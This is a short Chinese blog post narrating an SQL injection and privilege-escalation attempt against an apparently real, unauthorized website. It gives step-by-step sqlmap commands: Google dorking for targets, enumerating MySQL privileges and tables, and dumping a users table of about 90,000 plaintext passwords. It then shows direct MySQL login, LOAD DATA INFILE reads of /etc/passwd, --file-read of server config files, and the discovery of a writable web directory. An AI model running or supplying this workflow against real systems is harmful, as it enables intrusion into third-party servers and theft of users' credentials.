0%

一次sql漏洞提权实验

sqlmap是个sql注入扫描工具,python语言写的,刚好自己对这个比较感兴趣,下载下来看。
cmd> python sqlmap.py -h 查看帮助信息
其他 -g 选项可以通过google查询来找到有sql注入的网站,不过python中使用www.google.com ,
对中国的用户会出错,找到源代码,   位于lib/utils/google.py ,替换成 www.google.com.hk 就可以了。
example: python sqlmap.py -g “allinurl: php?id=”

对一个网站,找到一个注入: http://www.xxxx.net/userdetail.mpl?userid=133677

python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677
找到数据库 mysql ,apache服务。
查看当前mysql用户
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“  –dbms=mysql –current-user
查看数据库
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“  –dbms=mysql –current-db
查看用户权限,运气好,root为管理员,接下来就简单了。
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“  –dbms=mysql –privileges
查看表名
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“  –dbms=mysql –tables
找到用户表,users ,下载
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“  –dbms=mysql –dump -T “users

下载后,可以看到所有用户,有9万条数据密码居然不加密,找到admin  和密码。

登陆网页界面,没有管理界面,上传不了webshell
扫描该网站开放端口: 80 ,22,3306
尝试用该密码登陆ssh ,不行。
直接mysql登陆,成功 。
接下来就是mysql提权了,不过mysql不是root用户运行,权限不够,mysql 5.1版本,UDF 用不了 。
只能利用 mysql 的load data in file 尝试获取系统信息:
登陆mysql后:
use  dnnamexxx;
create table test (t varchar(3000));
load data infile ‘/etc/passwd’ into table test ;
select * from test ;
成功出来用户信息 ,用同样的方法获取shadow ,失败,权限不够。

用sqlmap 直接下载系统文件
sqlmap -d “mysql://root:xxxx@xx.xx.xx.xx:3306/dbname” –file-read=/etc/my.cnf
下载mysql配置文件
sqlmap -d “mysql://root:xxxx@xx.xx.xx.xx:3306/dbname” –file-read=/etc/httpd/conf/httpd.conf

功夫不负有心人 ,终于在这些文件找到了网站的一些目录:
/opt/images/
成功的在网页上访问到
可以写文件进去,不过该网站用perl ,不熟悉,暂时先到这里。

总结: 可以看到,一个小小的漏洞,可以突破一个网站,甚至拿到root 。